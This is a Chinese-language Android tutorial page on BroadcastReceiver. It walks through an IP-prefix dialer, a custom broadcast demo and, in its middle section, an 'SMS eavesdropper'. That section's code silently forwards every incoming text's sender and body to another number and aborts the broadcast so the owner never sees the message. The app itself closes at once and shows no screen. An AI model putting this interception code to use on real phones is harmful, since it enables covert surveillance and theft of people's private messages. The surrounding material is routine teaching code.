Android教程網
  1. 首頁
  2. Android 技術
  3. Android 手機
  4. Android 系統教程
  5. Android 游戲
 Android教程網 >> Android技術 >> 關於Android編程 >> Android中 廣播BroadcastReceiver

Android中 廣播BroadcastReceiver

編輯:關於Android編程

一、IP撥號器

activity_main.xml文件:

只有一個輸入ip的文本框和一個保存按鈕,

 



    

MainActivity.java

 

點擊保存按鈕後執行的程序,將輸入的ip號以SharedPreferences的方式保存在本地,

 

package com.itheima.ipdail;

import android.os.Bundle;
import android.app.Activity;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.view.Menu;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;

public class MainActivity extends Activity {
	private EditText et_ipnumber;
	private SharedPreferences sp;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        sp = getSharedPreferences("config", MODE_PRIVATE);
        et_ipnumber = (EditText) findViewById(R.id.et_ipnumber);
    }
    /**
     * 保存按鈕對應的點擊事件
     * @param view
     */
    public void save(View view){
    	String ipnumber = et_ipnumber.getText().toString().trim();
    	Editor editor = sp.edit();
    	editor.putString("ipnumber", ipnumber);
    	editor.commit();
    	Toast.makeText(this, "保存ip號碼完畢", 0).show();
    }
}

OutCallReceiver.java

 

廣播接受者,當有外撥電話到來的時候,從本地SharedPreferences中取出IP號,然後和外撥號碼拼接成新字符串顯示早撥號界面上,

 

package com.itheima.ipdail;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.util.Log;

/**
 * 廣播接收者,當有外撥電話到來的時候 會處理這個消息
 *
 */
public class OutCallReceiver extends BroadcastReceiver {
	
	private static final String TAG = "OutCallReceiver";
	private SharedPreferences sp;

	/**
	 * 當廣播接受者接受到廣播事件的時候調用的方法
	 */
	@Override
	public void onReceive(Context context, Intent intent) {
		String number = getResultData();
		Log.i(TAG,"有新的電話打出去了。電話號碼為:"+number);
		sp = context.getSharedPreferences("config", Context.MODE_PRIVATE);
		String ipnumber = sp.getString("ipnumber", "");
		setResultData(ipnumber+number);
	}

}

別忘了在AndroidManifest.xml文件中添加,

 

 

 

        
            
                
            
        

結果:

 

\

\

\

 

 

二、短信竊聽器

 

MainActivity.java

package com.itheima.smslistener;

import android.os.Bundle;
import android.app.Activity;
import android.view.Menu;

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		finish();
	}
}

SmsReceiver.java

5556->5554發送短信,利用廣播接受者取出短信內容

 

package com.itheima.smslistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

public class SmsReceiver extends BroadcastReceiver {
	
	private static final String TAG = "SmsReceiver";

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.i(TAG,"有新的短信到來了。");
		Object[] objs = (Object[]) intent.getExtras().get("pdus");
		for(Object obj:objs){
			 SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
			String sender = smsMessage.getOriginatingAddress();
			String body = smsMessage.getMessageBody();
			Log.i(TAG,"短信的發件人:"+sender);
			Log.i(TAG,"短信的內容:"+body);
		}
	}
}
\

 

\

 

當SmsReceiver.java改為如下:

模擬5558->5554發送短信,當5554接收到短信後,自動發送給5556,實現了短信竊聽功能,

 

package com.itheima.smslistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

public class SmsReceiver extends BroadcastReceiver {
	
	private static final String TAG = "SmsReceiver";

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.i(TAG,"有新的短信到來了。");
		Object[] objs = (Object[]) intent.getExtras().get("pdus");
		for(Object obj:objs){
			 SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
			String sender = smsMessage.getOriginatingAddress();
			String body = smsMessage.getMessageBody();
			Log.i(TAG,"短信的發件人:"+sender);
			Log.i(TAG,"短信的內容:"+body);
			SmsManager smsManager = SmsManager.getDefault();
			smsManager.sendTextMessage("5556", null, sender+"--"+body, null, null);
		}
	}
}
\

 

\

\

 

 

當SmsReceiver.java改為如下:

5558->5554發送短信,

package com.itheima.smslistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

public class SmsReceiver extends BroadcastReceiver {
	
	private static final String TAG = "SmsReceiver";

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.i(TAG,"有新的短信到來了。");
		Object[] objs = (Object[]) intent.getExtras().get("pdus");
		for(Object obj:objs){
			 SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
			String sender = smsMessage.getOriginatingAddress();
			String body = smsMessage.getMessageBody();
			Log.i(TAG,"短信的發件人:"+sender);
			Log.i(TAG,"短信的內容:"+body);
			SmsManager smsManager = SmsManager.getDefault();
			smsManager.sendTextMessage("5556", null, sender+"--"+body, null, null);
			//終止短信的廣播事件。
			abortBroadcast();
		}
	}
}
在AndroidManifest.xml文件中添加,
 
            
                
            
        


因為廣播接受者優先級1000,最高,而且廣播接受著終止了短信的廣播後續事件,因此5554並為收到短信,

但是5556能接收到短信,因為在終止廣播事件之前向5556轉發了,
\

\\

 

 

三、自定義廣播接收者

1.自定義發送廣播

 

acticity_main.xml文件為,

 


 

MainActivity.java文件為,

 

package com.itheima.sendbroadcast;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
	}

	public void send(View view){
		Intent intent = new Intent("com.itheima.sendbroadcast.demo");
		sendBroadcast(intent);
	}

}

2.自定義廣播接收者

 

acticity_main.xml文件為空,

MainActivity.java文件為空,


MyBroadcastReceiver.java文件為,

 

package com.itheima.myreceiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.widget.Toast;

public class MyBroadcastReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Toast.makeText(context, "我是自定義的廣播接受者,我接受到了自定義消息", 0).show();

	}

}

在AndroidMainfest.xml文件中添加如下,

 

 


        
            
                
            
        

\

 


  1. 上一頁:
  2. 下一頁:
熱門文章
閱讀排行版
Copyright © Android教程網 All Rights Reserved